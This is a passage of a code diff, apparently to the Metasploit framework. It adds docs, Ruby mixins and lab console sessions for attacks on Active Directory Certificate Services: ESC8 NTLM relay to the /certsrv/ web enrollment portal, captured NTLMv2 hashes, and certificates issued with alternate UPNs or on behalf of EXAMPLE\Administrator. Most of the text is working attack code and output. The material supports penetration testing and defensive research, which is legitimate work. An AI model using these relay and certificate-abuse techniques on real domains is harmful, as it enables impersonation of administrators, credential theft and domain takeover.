RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
|
||||
ics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /certsrv/ yes The URI for the cert server.
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When MODE is SPECIFIC_TEMPLATE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set CERT_TEMPLATE User
|
||||
CERT_TEMPLATE => User
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > unset ALT_UPN
|
||||
Unsetting ALT_UPN...
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > run
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_798433.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_355039.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template User and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_649135.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_950645.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set PFX /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
|
||||
PFX => /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set ON_BEHALF_OF EXAMPLE\\Administrator
|
||||
ON_BEHALF_OF => EXAMPLE\Administrator
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set cert_template User
|
||||
cert_template => User
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > run
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_970115.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_854009.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template User and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_332600.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_241072.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_windows.ad.cs_115992.pfx
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/http/web_enrollment_cert) >
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
@@ -33,9 +33,60 @@ The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
### NTLM
|
||||
|
||||
```
|
||||
msf auxiliary(server/relay/esc8) > show options
|
||||
|
||||
Module options (auxiliary/server/relay/esc8):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can
|
||||
be a path.
|
||||
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 ha
|
||||
shes, each of which is stored in separate files. Can also be a path.
|
||||
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
|
||||
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
|
||||
PFX no Certificate to request on behalf of
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported prox
|
||||
ies: socks5h, sapni, socks4, http, socks5
|
||||
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has
|
||||
initiated communication.
|
||||
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
|
||||
sics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on
|
||||
the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 445 yes The local port to listen on.
|
||||
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has
|
||||
initiated communication.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /certsrv/ yes The URI for the cert server.
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When MODE is SPECIFIC_TEMPLATE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Relay Run SMB ESC8 relay server
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 1.
|
||||
msf auxiliary(server/relay/esc8) >
|
||||
@@ -63,3 +114,157 @@ msf auxiliary(server/relay/esc8) >
|
||||
[*] Received request for MSFLAB\smcintyre
|
||||
[*] Identity: MSFLAB\smcintyre - All targets relayed to
|
||||
```
|
||||
|
||||
|
||||
### NTLM and ESC1
|
||||
|
||||
```
|
||||
msf auxiliary(server/relay/esc8) > show options
|
||||
|
||||
Module options (auxiliary/server/relay/esc8):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can
|
||||
be a path.
|
||||
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 ha
|
||||
shes, each of which is stored in separate files. Can also be a path.
|
||||
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
|
||||
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
|
||||
PFX no Certificate to request on behalf of
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported prox
|
||||
ies: socks5h, sapni, socks4, http, socks5
|
||||
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has
|
||||
initiated communication.
|
||||
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
|
||||
sics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on
|
||||
the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 445 yes The local port to listen on.
|
||||
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has
|
||||
initiated communication.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /certsrv/ yes The URI for the cert server.
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When MODE is SPECIFIC_TEMPLATE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Relay Run SMB ESC8 relay server
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf auxiliary(server/relay/esc8) >
|
||||
[*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
[*] New request from 10.5.132.122
|
||||
[*] Received request for \msfuser
|
||||
[*] Relaying to next target http://10.5.132.180:80/certsrv/
|
||||
[+] Identity: \msfuser - Successfully authenticated against relay target http://10.5.132.180:80/certsrv/
|
||||
[SMB] NTLMv2-SSP Client : 10.5.132.180
|
||||
[SMB] NTLMv2-SSP Username : \msfuser
|
||||
[SMB] NTLMv2-SSP Hash : msfuser:::af0b69bf0b95c55e:db5ce84b2f41b82d7df93bd2566c06b6:0101000000000000cbf836e63587dc013ce37255fbca75410000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d0007000800cbf836e63587dc01060004000200000008003000300000000000000000000000003000002ad3656a59fe53f773d5bc3852373338e1f3270cdbdf9411b84ef184151925510a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
|
||||
|
||||
[+] Certificate generated using template ESC1-Template and \msfuser
|
||||
[+] Certificate for \msfuser using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116161729_default_10.5.132.180_windows.ad.cs_994769.pfx
|
||||
[*] Received request for \msfuser
|
||||
[*] Identity: \msfuser - All targets relayed to
|
||||
|
||||
```
|
||||
|
||||
### NTLM and ESC2
|
||||
```msf
|
||||
msf auxiliary(server/relay/esc8) > show options
|
||||
|
||||
Module options (auxiliary/server/relay/esc8):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 h
|
||||
ashes. Can be a path.
|
||||
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 an
|
||||
d NTLMv2 hashes, each of which is stored in separate files. Can a
|
||||
lso be a path.
|
||||
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLA
|
||||
TE)
|
||||
ON_BEHALF_OF EXAMPLE\Administrator no Username to request on behalf of (format: DOMAIN\USER)
|
||||
PFX /home/tmoose/.msf4/loot/202601161509 no Certificate to request on behalf of
|
||||
11_default_10.5.132.180_windows.ad.c
|
||||
s_854591.pfx
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Sup
|
||||
ported proxies: socks5h, sapni, socks4, http, socks5
|
||||
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the
|
||||
client has initiated communication.
|
||||
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-me
|
||||
tasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
|
||||
address on the local machine or 0.0.0.0 to listen on all address
|
||||
es.
|
||||
SRVPORT 445 yes The local port to listen on.
|
||||
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the
|
||||
client has initiated communication.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /certsrv/ yes The URI for the cert server.
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When MODE is SPECIFIC_TEMPLATE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CERT_TEMPLATE User no The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Relay Run SMB ESC8 relay server
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf auxiliary(server/relay/esc8) >
|
||||
[*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
[*] New request from 10.5.132.122
|
||||
[*] Received request for \msfuser
|
||||
[*] Relaying to next target http://10.5.132.180:80/certsrv/
|
||||
[+] Identity: \msfuser - Successfully authenticated against relay target http://10.5.132.180:80/certsrv/
|
||||
[SMB] NTLMv2-SSP Client : 10.5.132.180
|
||||
[SMB] NTLMv2-SSP Username : \msfuser
|
||||
[SMB] NTLMv2-SSP Hash : msfuser:::916940a20e939a34:7f5150c74cba44513fcb2e7ed28e8f45:0101000000000000bf1765b93787dc01c7c75e835e16b4ad0000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d0007000800bf1765b93787dc01060004000200000008003000300000000000000000000000003000002ad3656a59fe53f773d5bc3852373338e1f3270cdbdf9411b84ef184151925510a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
|
||||
|
||||
[+] Certificate generated using template User and \msfuser
|
||||
[+] Certificate for \msfuser using template User saved to /home/tmoose/.msf4/loot/20260116163102_default_10.5.132.180_windows.ad.cs_883392.pfx
|
||||
[*] Received request for \msfuser
|
||||
[*] Identity: \msfuser - All targets relayed to
|
||||
|
||||
|
||||
```
|
||||
@@ -0,0 +1,66 @@
|
||||
###
|
||||
#
|
||||
# This mixin provides methods wrapping CSR request methods in re/proto/x509/request
|
||||
#
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/x509/request'
|
||||
|
||||
module Msf
|
||||
|
||||
module Exploit::Remote::CertRequest
|
||||
|
||||
def create_csr(opts={})
|
||||
rsa_key_size = opts.fetch(:rsa_key_size) { datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i }
|
||||
# can we double check if the key size is correct here when we are passed a private key?
|
||||
private_key = (opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size))
|
||||
if private_key.n.num_bits != rsa_key_size
|
||||
elog("RSA key size mismatch")
|
||||
raise ArgumentError, "RSA key size mismatch in create_csr()"
|
||||
end
|
||||
vprint_status("RSA key size: #{rsa_key_size}")
|
||||
user = opts[:username]
|
||||
status_msg = "Requesting a certificate for user #{user}"
|
||||
alt_dns = opts.fetch(:alt_dns) { datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'] }
|
||||
alt_sid = opts.fetch(:alt_sid) { datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'] }
|
||||
alt_upn = opts.fetch(:alt_upn) { datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'] }
|
||||
algorithm = opts.fetch(:algorithm) { datastore['DigestAlgorithm'].blank? ? 'SHA256' : datastore['DigestAlgorithm'] }
|
||||
application_policies = opts.fetch(:add_cert_app_policy) { datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/) }
|
||||
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
|
||||
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
|
||||
status_msg << " - digest algorithm: #{algorithm}" if algorithm
|
||||
csr = Rex::Proto::X509::Request.build_csr(
|
||||
cn: user,
|
||||
private_key: private_key,
|
||||
dns: alt_dns,
|
||||
msext_sid: alt_sid,
|
||||
msext_upn: alt_upn,
|
||||
algorithm: algorithm,
|
||||
application_policies: application_policies
|
||||
)
|
||||
|
||||
pkcs12 = nil
|
||||
if opts.key?(:pkcs12)
|
||||
pkcs12 = opts[:pkcs12]
|
||||
elsif datastore['PFX'].present?
|
||||
pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
|
||||
end
|
||||
|
||||
on_behalf_of = opts.fetch(:on_behalf_of) { datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'] }
|
||||
status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
|
||||
if pkcs12 && on_behalf_of
|
||||
vprint_status("Building certificate request on behalf of #{on_behalf_of}")
|
||||
csr = Rex::Proto::X509::Request.build_on_behalf_of(
|
||||
csr: csr,
|
||||
on_behalf_of: on_behalf_of,
|
||||
cert: pkcs12.certificate,
|
||||
key: pkcs12.key,
|
||||
algorithm: algorithm
|
||||
)
|
||||
end
|
||||
vprint_status status_msg
|
||||
csr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
|
||||
require 'rex/proto/x509/request'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with the Microsoft AD/CS web enrollment portal
|
||||
module WebEnrollment
|
||||
|
||||
include Msf::Exploit::Remote::CertRequest
|
||||
include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts
|
||||
|
||||
def get_cert_templates(authenticated_client)
|
||||
print_status('Retrieving available template list, this may take a few minutes')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'client' => authenticated_client,
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'certrqxt.asp')
|
||||
}
|
||||
)
|
||||
return nil unless res&.code == 200
|
||||
|
||||
cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
|
||||
print_bad('Found no available certificate templates') if cert_templates.empty?
|
||||
cert_templates
|
||||
end
|
||||
|
||||
def add_cert_entry(connection_identity, cert_template)
|
||||
if @issued_certs.key?(connection_identity)
|
||||
@issued_certs[connection_identity] << cert_template
|
||||
else
|
||||
@issued_certs[connection_identity] = [ cert_template ]
|
||||
end
|
||||
end
|
||||
|
||||
def retrieve_certs(target_ip, authenticated_client, connection_identity, cert_templates)
|
||||
cert_templates.each do |cert_template|
|
||||
retrieve_cert(target_ip, authenticated_client, connection_identity, cert_template)
|
||||
end
|
||||
end
|
||||
|
||||
def cert_issued?(connection_identity, cert_template)
|
||||
!!@issued_certs[connection_identity]&.include?(cert_template)
|
||||
end
|
||||
|
||||
def retrieve_cert(target_ip, authenticated_connection, connection_identity, cert_template)
|
||||
if cert_issued?(connection_identity, cert_template)
|
||||
print_status("Certificate already created for #{connection_identity} using #{cert_template}, skipping...")
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("Creating certificate request for #{connection_identity} using the #{cert_template} template")
|
||||
opts = { username: connection_identity.split('\\').last }
|
||||
rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i
|
||||
private_key = OpenSSL::PKey::RSA.new(rsa_key_size)
|
||||
opts[:private_key] = private_key
|
||||
csr = create_csr(opts)
|
||||
|
||||
cert_template_string = "CertificateTemplate:#{cert_template}"
|
||||
vprint_status('Requesting target generate certificate...')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'client' => authenticated_connection,
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'Mode' => 'newreq',
|
||||
'CertRequest' => Rex::Text.encode_base64(csr.to_der.to_s),
|
||||
'CertAttrib' => cert_template_string,
|
||||
'TargetStoreFlags' => 0,
|
||||
'SaveCert' => 'yes',
|
||||
'ThumbPrint' => ''
|
||||
},
|
||||
'cgi' => true
|
||||
}
|
||||
)
|
||||
if res&.code == 200 && res.body.include?('request was denied')
|
||||
print_bad("Certificate request denied using template #{cert_template} and #{connection_identity}")
|
||||
return nil
|
||||
end
|
||||
if res&.code == 200 && res.body.include?('request failed')
|
||||
print_bad("Certificate request failed using template #{cert_template} and #{connection_identity}")
|
||||
return nil
|
||||
end
|
||||
if res&.code == 401 && res.body.include?('invalid credentials')
|
||||
print_bad("Invalid Credential Error returned when using template #{cert_template} and #{connection_identity}")
|
||||
return nil
|
||||
end
|
||||
print_good("Certificate generated using template #{cert_template} and #{connection_identity}")
|
||||
add_cert_entry(connection_identity, cert_template)
|
||||
begin
|
||||
location_tag = res.body.match(/^.*location="(.*)"/)[1]
|
||||
rescue NoMethodError
|
||||
print_bad('Unable to locate location tag')
|
||||
return nil
|
||||
end
|
||||
|
||||
location_uri = normalize_uri(target_uri, location_tag)
|
||||
vprint_status("Attempting to download the certificate from #{location_uri}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'client' => authenticated_connection,
|
||||
'method' => 'GET',
|
||||
'uri' => location_uri
|
||||
}
|
||||
)
|
||||
info = "#{connection_identity} Certificate"
|
||||
certificate = OpenSSL::X509::Certificate.new(res.body)
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
|
||||
stored_path = store_loot('windows.ad.cs',
|
||||
'application/x-pkcs12',
|
||||
target_ip,
|
||||
pkcs12.to_der,
|
||||
'certificate.pfx',
|
||||
info)
|
||||
print_good("Certificate using template #{cert_template} saved to #{stored_path}")
|
||||
certificate
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -48,7 +48,7 @@ module Exploit::Remote::HttpClient
|
||||
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
|
||||
Opt::SSLVersion,
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication (Must be FQDN if HTTP::Auth is Kerberos)', 'WORKSTATION']),
|
||||
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
|
||||
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
|
||||
OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# This module exposes methods for querying a remote LDAP service
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::LDAP::ActiveDirectory
|
||||
|
||||
module AdCsOpts
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options([
|
||||
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
|
||||
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
|
||||
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
|
||||
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
|
||||
OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
|
||||
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
|
||||
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
|
||||
])
|
||||
register_advanced_options([
|
||||
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]),
|
||||
OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ])
|
||||
])
|
||||
end
|
||||
|
||||
def validate
|
||||
errors = {}
|
||||
if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
|
||||
errors['ALT_SID'] = 'Must be a valid SID.'
|
||||
end
|
||||
|
||||
if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
|
||||
errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
|
||||
end
|
||||
|
||||
if datastore['ON_BEHALF_OF'].present?
|
||||
errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
|
||||
errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
|
||||
end
|
||||
|
||||
if datastore['PFX'].present?
|
||||
begin
|
||||
OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
|
||||
rescue StandardError => e
|
||||
errors['PFX'] = "Failed to load the PFX file (#{e})"
|
||||
end
|
||||
end
|
||||
|
||||
raise OptionValidateError, errors unless errors.empty?
|
||||
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -15,6 +15,8 @@ module Exploit::Remote::MsIcpr
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Client::Ipc
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::CertRequest
|
||||
include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts
|
||||
|
||||
# [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71)
|
||||
OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze
|
||||
@@ -43,49 +45,9 @@ module Exploit::Remote::MsIcpr
|
||||
|
||||
register_options([
|
||||
OptString.new('CA', [ true, 'The target certificate authority' ]),
|
||||
OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
|
||||
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
|
||||
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
|
||||
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
|
||||
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
|
||||
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
|
||||
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
|
||||
Opt::RPORT(445)
|
||||
], Msf::Exploit::Remote::MsIcpr)
|
||||
|
||||
register_advanced_options([
|
||||
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]),
|
||||
OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ])
|
||||
])
|
||||
end
|
||||
|
||||
def setup
|
||||
errors = {}
|
||||
if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
|
||||
errors['ALT_SID'] = 'Must be a valid SID.'
|
||||
end
|
||||
|
||||
if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
|
||||
errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
|
||||
end
|
||||
|
||||
if datastore['ON_BEHALF_OF'].present?
|
||||
errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
|
||||
errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
|
||||
end
|
||||
|
||||
@pkcs12 = nil
|
||||
if datastore['PFX'].present?
|
||||
begin
|
||||
@pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
|
||||
rescue StandardError => e
|
||||
errors['PFX'] = "Failed to load the PFX file (#{e})"
|
||||
end
|
||||
end
|
||||
|
||||
raise OptionValidateError, errors unless errors.empty?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
